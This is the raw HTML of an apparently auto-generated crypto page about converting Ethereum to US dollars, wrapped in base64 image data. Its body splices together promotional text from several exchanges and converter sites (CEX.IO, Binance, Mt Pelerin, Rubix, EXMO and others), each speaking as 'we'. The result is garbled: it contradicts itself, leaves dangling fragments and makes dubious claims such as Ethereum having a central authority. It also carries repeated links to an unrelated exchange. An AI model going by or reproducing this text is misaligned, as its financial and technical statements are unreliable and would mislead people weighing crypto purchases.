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' alt='https://www.beaxy.com/' class='aligncenter' style='display:block;margin-left:auto;margin-right:auto; width='409px'/></a></p>
<p>You can also mark the pairs that you choose to monitor as Favorites and have easy access to them anytime you need. Now let’s talk about how the CEX.IO price chart might be useful for your daily trading and long-term holding. Say, you’ve decided to enter the crypto markets and after a thorough analysis, you found that it would be good to buy Ethereum. By the way, you can use ETH as a means of exchange for the already wide variety of decentralized apps, but we will talk about them in a moment. Right now, it’s important to understand what do you do in your first few steps after you’ve decided to engage in the crypto economy. Ethereum is the well known cryptocurrency asset, it pairs live price changes almost every second. Such volatility helps traders to generate good profit by using right trading strategies. For example last price change in a pair ETH/USD was +0.43%. Please note that this tool can be also used to estimate the prices of other cryptocurrencies in various fiat currencies.</p>
<p><h2>How To Convert Eth To Usd?</h2>
</p>
<p>This service can be used for reversing the Ethereum to USD estimation as well. To do this, simply input the number of Dollars in the right field and the tool will automatically figure out the corresponding ETH value. Mt Pelerin Group SA is a company established in Switzerland since 2018, with offices in Neuchâtel and Geneva. We are an authorized financial intermediary, which means that our processes are regularly audited by an external and independent entity. We are affiliated with SRO-member VQF, an officially recognized self-regulatory organization according to the Anti-Money Laundering Act by FINMA, the Swiss financial market supervisory authority. Get our free mobile wallet app on Google Play or on the App Store, install it, and create or restore a wallet. The first thing that you need is, of course, your personal account.</p>
<div style="display: flex;justify-content: center;">
<blockquote class="twitter-tweet">
<p lang="und" dir="ltr"><a href="https://twitter.com/teerlucu?ref_src=twsrc%5Etfw">@teerlucu</a> <a href="https://twitter.com/CHPickmeBigWin?ref_src=twsrc%5Etfw">@CHPickmeBigWin</a></p>
<p>&mdash; jellyfish20<img src="https://s.w.org/images/core/emoji/13.1.0/72x72/1f340.png" alt="🍀" class="wp-smiley" style="height: 1em; max-height: 1em;" /><img src="https://s.w.org/images/core/emoji/13.1.0/72x72/1f3c6.png" alt="🏆" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (@ariribigwin) <a href="https://twitter.com/ariribigwin/status/1520924315461427201?ref_src=twsrc%5Etfw">May 2, 2022</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
</p>
<p>Our currency rankings show that the most popular Ethereum exchange rate is the ETH to USD rate. The Ethereum price page is part of Crypto.com Price Index that features price history, price ticker, market cap, and live charts for the top cryptocurrencies. If you wish to see how many ETH to Dollar you can convert, type in desired ETH amount in the left field. The tool will calculate the exact price in US dollars using the latest exchange prices. Binance accepts a wide range of currencies and makes it easy for you to buy crypto using USD , EUR, CNY, AUD, INR, RUB, and other fiat currencies. You can also use a wide range of accepted stablecoins such as Binance USD , Coinbase USD Coin , and Tether to buy crypto.</p>
<p><h2>Trending Coins</h2>
</p>
<p>This content has not been reviewed, approved or otherwise endorsed by any of the entities included within the post. If you type just one currency code into the URL, the target currency will be the currency of the country that the user is located in. Type currency.world/convert/ETH_400 to convert 400 Ethereum to the user&#8217;s currency. You can also press $ or € on your keyboard, or start typing a currency name, currency code or country name to change currency. The platform, where you can convert ETH to USD is founded in 2013 and based in London, Kyiv, Lithuania and Gibraltar. It is well known as Eastern European Exchange #1 as long as one of the world’s largest global exchanges in volume and liquidity. Exchanging ETH to USD is safe provided you use a secure platform. Rubix protects users through an encrypted platform and multi-key system and will convert ETH to USD to protect your currency if needed. See our pricing page to see the different limits to sell Ether by bank transfer, with or without KYC.</p>
<p>CEX IO EU Limited provides its card processing services to customers from the European Union and European Economic Area . Note, that the first stage of verification on CEX.IO comes with some limits for deposit and withdrawal. This is a security measure that helps to protect your account against fraudulent activities. However, if you want to operate larger sums of funds, you can complete the other stages as well. This requires providing some additional information so that we know it’s really you who sends requests from your account. Of course, finding the right moment to act on your strategy might seem a difficult thing, but with a generous portion of your own research, you can do this. Then, the only step that’s left to do is to find a reliable place where you can exchange ETH to USD with the most favorable conditions. Instant Buy Buy crypto with your credit or debit card in a few clicks.</p>
<p>You can switch the currency pairs by selecting different ones in their respective drop-down menus. You don’t have to be one of the big guys to get involved with cryptocurrency. If you’re looking for a safe, simple way to manage and convert your cryptocurrency, look no further! Rubix wallet protects your assets and makes it easy to keep track of rates. Mt Pelerin is a financial intermediary duly affiliated with VQF (), a Self-Regulatory Organisation officially recognised by Switzerland&#8217;s Federal Financial Market Supervisory Authority . There may be restrictions in certain countries as to whom may acquire cryptocurrencies. Mt Pelerin does not offer services in relation to cryptocurrencies to US persons. Most people refer to Ethereum as cryptocurrency when there’s a slight difference between the organization itself and the native currency that they use for their own blockchain. So, to be clear, Ethereum is a blockchain platform, and Ether or ETH is its currency.</p>
<p>The virtual land rush for the ape-centered metaverse project has already cost traders more than $176 million in fees alone. The Xe Rate Alerts will let you know when the rate you need is triggered on your selected currency pairs. With the help of this tool, you can convert any amount of Ethereums into US Dollars in a few seconds. To convert Ethereum to US Dollar, type currency.world/convert/ETH/USD.</p>
<p>The visual representation of the market data allows you to understand certain trends as well as assess the upcoming events and see how they can impact the activity on the markets. As you can see, the information updates in real-time so this way you can be sure that you’re moving together with the present situation and not missing out on the shifts. The United States Dollar is also known as the American Dollar, and the US Dollar. The exchange rate for the Ethereum was last updated on April 30, 2022 from coinmarketcap.com. The exchange rate for the United <a href="https://www.beaxy.com/">https://www.beaxy.com/</a> States Dollar was last updated on April 28, 2022 from The International Monetary Fund. Before you start trading in ETH, you have to convert your USD to ETH. Use the Trade function if you’re interested in the trading with market or limit orders. If you have more experience in spot trading and working on building your portfolio, our Trade service is what you need. Watch the prices on a customizable price chart and make informed decisions. You can see the order book and many other parameters you might need all on the same page for your convenience.</p>
<p><h2>Xe Currency Charts</h2>
</p>
<p>As you can see, buying crypto and trading them with CEX.IO is easy and intuitive for beginners as well as seasoned professionals. Keep in mind though that thorough research is the thing that you should have on your mind for more successful trading. It does have a central authority — there is a core group of developers and managers who works on the network and promotes it. Also, Ethereum Virtual Machine although serves as a blockchain , in actuality it does have a physical structure in the form of thousands of computers all over the world. In all, it means that it does have tiny physical data centers, it’s just quite a lot of them. Although many other networks these days offer the same thing with even wider adoption of the most common programming languages, Ethereum was the first one to introduce smart contracts. These are programs that have predetermined conditions and execute automatically on a blockchain. To explore general partnerships with Binance for new cash-crypto exchanges and or existing cash-crypto exchanges, please submit your application on &#8222;Fiat Services Vendor Application Form&#8220;.</p>
<ul>
<li>We are affiliated with SRO-member VQF, an officially recognized self-regulatory organization according to the Anti-Money Laundering Act by FINMA, the Swiss financial market supervisory authority.</li>
<li>And customer care &#8211; as the most important value of the EXMO team.</li>
<li>The easiest way to buy crypto on EXMO is the “Simple Trade” option.</li>
<li>Q Cryptocurrency Report Altchain narratives are still going strong while the entire market undergoes a correction in light of growing macroeconomic woes.</li>
<li>However, if you want to operate larger sums of funds, you can complete the other stages as well.</li>
</ul>
<p>These are the highest points the exchange rate has been at in the last 30 and 90-day periods. Our money converter uses the average data from International Currency Rates. Top cryptocurrencies are featured at the Exchange-Rates.com website too, like 496 Ethereum to Bitcoin, 496 Ethereum to Cardano, or 496 Ethereum to Dogecoin. Top cryptocurrencies are featured at the Exchange-Rates.com website too, like 569 Ethereum to Bitcoin, 569 Ethereum to Cardano, or 569 Ethereum to Dogecoin. In the table you can find 1 Ethereum to Dollar exchange rate for the last week. ETH is the currency code for the cryptocurrency Ethereum. Easy to use &#8211; the interface is intuitive and allows you to select different cryptocurrencies or fiat currencies. Moreover, the calculation is automatic and all you need to do is type in the desired amount. The left one is for cryptocurrencies, whereas the right one is for fiat currencies.</p>
<p>Every effort is employed to ensure accuracy of exchange rates and information relating to money transfers. However, we do not offer any financial advice or recommendations. We will not be held liable for inaccurate exchange rates or any data at Exchange-Rates.com. Before you make a foreign currency transaction seek the professional advice of a bank, currency exchange office, or forex broker. CoinYEP Foreign exchange converter and cryptocurrency converter. Prices data are continually gathered from multiple markets. All exchange rates are updated regularly hourly every hour. Ethereum is one of the fastest growing cryptocurrencies on the market today.</p>
<p><h2>In Case If Youre Still Wondering What Is Ethereum Eth?</h2>
</p>
<p>The process of converting your cryptocurrency to standard currency is facilitated through Rubix. After inputting your chosen amount in the converter tool, Rubix will convert the value of your Rubix Wallet balance so that you can easily monitor your assets. Anyone residing in the United States is familiar with the United States Dollar . We&#8217;ll convert your ETH in USD as soon as we receive it, then transfer it to your bank account. Binance is a safe and secure platform to buy and sell cryptocurrencies quickly using our streamlined buy/sell process. To check Ethereum price live in the fiat currency of your choice, you can use Crypto.com&#8217;s converter feature in the top right corner of this page. Sign up for an account in minutes to buy crypto using credit card or bank transfer. The worst day to change in United States Dollar was the ().</p>
<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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